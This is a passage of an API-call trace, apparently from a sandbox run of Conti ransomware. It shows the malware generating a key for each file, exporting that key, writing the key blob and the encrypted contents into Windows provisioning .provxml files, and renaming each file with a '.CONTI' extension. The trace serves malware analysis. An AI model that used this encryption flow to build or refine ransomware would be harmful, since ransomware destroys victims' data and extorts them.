	[0112.540] lstrcpyW (in: lpString1=0x6b63508, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\553__Connections_Cellular_Orange (Mauritius)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\553__Connections_Cellular_Orange (Mauritius)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\553__Connections_Cellular_Orange (Mauritius)_i0$(__MVID)@WAP.provxml"
	[0112.540] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\553__Connections_Cellular_Orange (Mauritius)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\553__Connections_Cellular_Orange (Mauritius)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\553__Connections_Cellular_Orange (Mauritius)_i0$(__MVID)@WAP.provxml.CONTI"
	[0112.540] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\553__Connections_Cellular_Orange (Mauritius)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\553__connections_cellular_orange (mauritius)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\553__Connections_Cellular_Orange (Mauritius)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\553__connections_cellular_orange (mauritius)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0112.541] GetProcessHeap () returned 0x1720000
	[0112.541] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b63508 | out: hHeap=0x1720000) returned 1
	[0112.541] CryptDestroyKey (hKey=0x17c7ab0) returned 1
	[0112.541] GetProcessHeap () returned 0x1720000
	[0112.541] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65b7420 | out: hHeap=0x1720000) returned 1
	[0112.541] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc) returned 1
	[0112.541] CryptGenKey (in: hProv=0x176c128, Algid=0x6610, dwFlags=0x1, phKey=0x65b2078 | out: phKey=0x65b2078*=0x17c7c70) returned 1
	[0112.541] CryptExportKey (in: hKey=0x17c7c70, hExpKey=0x175dc70, dwBlobType=0x1, dwFlags=0x0, pbData=0x65b207c, pdwDataLen=0x4d3fec4 | out: pbData=0x65b207c*, pdwDataLen=0x4d3fec4*=0x20c) returned 1
	[0112.542] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\555__Connections_Cellular_Orange (Niger)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\555__connections_cellular_orange (niger)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0112.542] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\555__Connections_Cellular_Orange (Niger)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\555__connections_cellular_orange (niger)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0112.543] GetLastError () returned 0x0
	[0112.543] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x4d3fe70 | out: lpFileSize=0x4d3fe70*=711) returned 1
	[0112.543] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2c7
	[0112.543] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x22d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.543] SetEndOfFile (hFile=0x3dc) returned 1
	[0112.543] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.543] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.543] WriteFile (in: hFile=0x3dc, lpBuffer=0x65b207c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4d3fe7c, lpOverlapped=0x0 | out: lpBuffer=0x65b207c*, lpNumberOfBytesWritten=0x4d3fe7c*=0x20c, lpOverlapped=0x0) returned 1
	[0112.548] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.548] ReadFile (in: hFile=0x3dc, lpBuffer=0xdf60000, nNumberOfBytesToRead=0x2c7, lpNumberOfBytesRead=0x4d3fe9c, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesRead=0x4d3fe9c*=0x2c7, lpOverlapped=0x0) returned 1
	[0112.548] CryptEncrypt (in: hKey=0x17c7c70, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x2c7, dwBufLen=0x500000 | out: pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x2d0) returned 1
	[0112.548] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.548] WriteFile (in: hFile=0x3dc, lpBuffer=0xdf60000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x4d3feb0, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesWritten=0x4d3feb0*=0x2d0, lpOverlapped=0x0) returned 1
	[0112.548] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.548] WriteFile (in: hFile=0x3dc, lpBuffer=0x65b2070*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4d3fec8, lpOverlapped=0x0 | out: lpBuffer=0x65b2070*, lpNumberOfBytesWritten=0x4d3fec8*=0x8, lpOverlapped=0x0) returned 1
	[0112.548] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.548] CloseHandle (hObject=0x3dc) returned 1
	[0112.548] GetProcessHeap () returned 0x1720000
	[0112.548] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b63508
	[0112.548] lstrcpyW (in: lpString1=0x6b63508, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\555__Connections_Cellular_Orange (Niger)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\555__Connections_Cellular_Orange (Niger)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\555__Connections_Cellular_Orange (Niger)_i0$(__MVID)@WAP.provxml"
	[0112.548] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\555__Connections_Cellular_Orange (Niger)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\555__Connections_Cellular_Orange (Niger)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\555__Connections_Cellular_Orange (Niger)_i0$(__MVID)@WAP.provxml.CONTI"
	[0112.548] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\555__Connections_Cellular_Orange (Niger)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\555__connections_cellular_orange (niger)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\555__Connections_Cellular_Orange (Niger)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\555__connections_cellular_orange (niger)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0112.838] GetProcessHeap () returned 0x1720000
	[0112.838] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b63508 | out: hHeap=0x1720000) returned 1
	[0113.116] CryptDestroyKey (hKey=0x17c7c70) returned 1
	[0113.116] GetProcessHeap () returned 0x1720000
	[0113.116] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65b8380 | out: hHeap=0x1720000) returned 1
	[0113.116] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc) returned 1
	[0113.116] CryptGenKey (in: hProv=0x176c128, Algid=0x6610, dwFlags=0x1, phKey=0x65af520 | out: phKey=0x65af520*=0x17c7ab0) returned 1
	[0113.116] CryptExportKey (in: hKey=0x17c7ab0, hExpKey=0x175dc70, dwBlobType=0x1, dwFlags=0x0, pbData=0x65af524, pdwDataLen=0x4d3fec4 | out: pbData=0x65af524*, pdwDataLen=0x4d3fec4*=0x20c) returned 1
	[0113.118] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\557__Connections_Cellular_Orange (Senegal)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\557__connections_cellular_orange (senegal)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0113.118] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\557__Connections_Cellular_Orange (Senegal)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\557__connections_cellular_orange (senegal)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0113.119] GetLastError () returned 0x0
	[0113.119] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x4d3fe70 | out: lpFileSize=0x4d3fe70*=861) returned 1
	[0113.119] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x35d
	[0113.119] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x227, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.119] SetEndOfFile (hFile=0x3dc) returned 1
	[0113.119] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.119] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.120] WriteFile (in: hFile=0x3dc, lpBuffer=0x65af524*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4d3fe7c, lpOverlapped=0x0 | out: lpBuffer=0x65af524*, lpNumberOfBytesWritten=0x4d3fe7c*=0x20c, lpOverlapped=0x0) returned 1
	[0113.121] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.121] ReadFile (in: hFile=0x3dc, lpBuffer=0xdf60000, nNumberOfBytesToRead=0x35d, lpNumberOfBytesRead=0x4d3fe9c, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesRead=0x4d3fe9c*=0x35d, lpOverlapped=0x0) returned 1
	[0113.121] CryptEncrypt (in: hKey=0x17c7ab0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x35d, dwBufLen=0x500000 | out: pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x360) returned 1
	[0113.122] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.122] WriteFile (in: hFile=0x3dc, lpBuffer=0xdf60000*, nNumberOfBytesToWrite=0x360, lpNumberOfBytesWritten=0x4d3feb0, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesWritten=0x4d3feb0*=0x360, lpOverlapped=0x0) returned 1
	[0113.122] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.122] WriteFile (in: hFile=0x3dc, lpBuffer=0x65af518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4d3fec8, lpOverlapped=0x0 | out: lpBuffer=0x65af518*, lpNumberOfBytesWritten=0x4d3fec8*=0x8, lpOverlapped=0x0) returned 1
	[0113.122] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.122] CloseHandle (hObject=0x3dc) returned 1
	[0113.122] GetProcessHeap () returned 0x1720000
	[0113.122] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b63508
	[0113.122] lstrcpyW (in: lpString1=0x6b63508, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\557__Connections_Cellular_Orange (Senegal)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\557__Connections_Cellular_Orange (Senegal)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\557__Connections_Cellular_Orange (Senegal)_i0$(__MVID)@WAP.provxml"
	[0113.122] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\557__Connections_Cellular_Orange (Senegal)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\557__Connections_Cellular_Orange (Senegal)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\557__Connections_Cellular_Orange (Senegal)_i0$(__MVID)@WAP.provxml.CONTI"
	[0113.122] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\557__Connections_Cellular_Orange (Senegal)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\557__connections_cellular_orange (senegal)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\557__Connections_Cellular_Orange (Senegal)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\557__connections_cellular_orange (senegal)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0113.123] GetProcessHeap () returned 0x1720000
	[0113.123] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b63508 | out: hHeap=0x1720000) returned 1
	[0113.123] CryptDestroyKey (hKey=0x17c7ab0) returned 1
	[0113.123] GetProcessHeap () returned 0x1720000
	[0113.123] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65b6f00 | out: hHeap=0x1720000) returned 1
	[0113.123] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc) returned 1
	[0113.123] CryptGenKey (in: hProv=0x176c128, Algid=0x6610, dwFlags=0x1, phKey=0x65b2508 | out: phKey=0x65b2508*=0x17c7d30) returned 1
	[0113.123] CryptExportKey (in: hKey=0x17c7d30, hExpKey=0x175dc70, dwBlobType=0x1, dwFlags=0x0, pbData=0x65b250c, pdwDataLen=0x4d3fec4 | out: pbData=0x65b250c*, pdwDataLen=0x4d3fec4*=0x20c) returned 1
	[0113.124] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\558__Connections_Cellular_Orange (Senegal)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\558__connections_cellular_orange (senegal)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0113.124] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\558__Connections_Cellular_Orange (Senegal)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\558__connections_cellular_orange (senegal)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0113.125] GetLastError () returned 0x0
	[0113.125] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x4d3fe70 | out: lpFileSize=0x4d3fe70*=841) returned 1
	[0113.125] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x349
	[0113.125] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x22b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.125] SetEndOfFile (hFile=0x3dc) returned 1
	[0113.125] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.125] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.125] WriteFile (in: hFile=0x3dc, lpBuffer=0x65b250c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4d3fe7c, lpOverlapped=0x0 | out: lpBuffer=0x65b250c*, lpNumberOfBytesWritten=0x4d3fe7c*=0x20c, lpOverlapped=0x0) returned 1
	[0113.130] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.130] ReadFile (in: hFile=0x3dc, lpBuffer=0xdf60000, nNumberOfBytesToRead=0x349, lpNumberOfBytesRead=0x4d3fe9c, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesRead=0x4d3fe9c*=0x349, lpOverlapped=0x0) returned 1
	[0113.130] CryptEncrypt (in: hKey=0x17c7d30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x349, dwBufLen=0x500000 | out: pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x350) returned 1
	[0113.130] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.131] WriteFile (in: hFile=0x3dc, lpBuffer=0xdf60000*, nNumberOfBytesToWrite=0x350, lpNumberOfBytesWritten=0x4d3feb0, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesWritten=0x4d3feb0*=0x350, lpOverlapped=0x0) returned 1
	[0113.131] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.131] WriteFile (in: hFile=0x3dc, lpBuffer=0x65b2500*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4d3fec8, lpOverlapped=0x0 | out: lpBuffer=0x65b2500*, lpNumberOfBytesWritten=0x4d3fec8*=0x8, lpOverlapped=0x0) returned 1
	[0113.131] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.131] CloseHandle (hObject=0x3dc) returned 1
	[0113.131] GetProcessHeap () returned 0x1720000
	[0113.131] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b63508
	[0113.131] lstrcpyW (in: lpString1=0x6b63508, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\558__Connections_Cellular_Orange (Senegal)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\558__Connections_Cellular_Orange (Senegal)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\558__Connections_Cellular_Orange (Senegal)_i1$(__MVID)@WAP.provxml"
	[0113.131] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\558__Connections_Cellular_Orange (Senegal)_i1$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\558__Connections_Cellular_Orange (Senegal)_i1$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\558__Connections_Cellular_Orange (Senegal)_i1$(__MVID)@WAP.provxml.CONTI"
	[0113.131] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\558__Connections_Cellular_Orange (Senegal)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\558__connections_cellular_orange (senegal)_i1$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\558__Connections_Cellular_Orange (Senegal)_i1$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\558__connections_cellular_orange (senegal)_i1$(__mvid)@wap.provxml.conti")) returned 1
	[0113.132] GetProcessHeap () returned 0x1720000
	[0113.132] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b63508 | out: hHeap=0x1720000) returned 1
	[0113.132] CryptDestroyKey (hKey=0x17c7d30) returned 1
	[0113.132] GetProcessHeap () returned 0x1720000
	[0113.132] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65b7190 | out: hHeap=0x1720000) returned 1
	[0113.132] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc) returned 1
	[0113.132] CryptGenKey (in: hProv=0x176c128, Algid=0x6610, dwFlags=0x1, phKey=0x65b5bc8 | out: phKey=0x65b5bc8*=0x17c7af0) returned 1
	[0113.132] CryptExportKey (in: hKey=0x17c7af0, hExpKey=0x175dc70, dwBlobType=0x1, dwFlags=0x0, pbData=0x65b5bcc, pdwDataLen=0x4d3fec4 | out: pbData=0x65b5bcc*, pdwDataLen=0x4d3fec4*=0x20c) returned 1
	[0113.133] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\55__Connections_Cellular_Oi (Brazil)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\55__connections_cellular_oi (brazil)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0113.133] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\55__Connections_Cellular_Oi (Brazil)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\55__connections_cellular_oi (brazil)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0113.133] GetLastError () returned 0x0
	[0113.133] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x4d3fe70 | out: lpFileSize=0x4d3fe70*=704) returned 1
	[0113.133] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2c0
	[0113.133] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
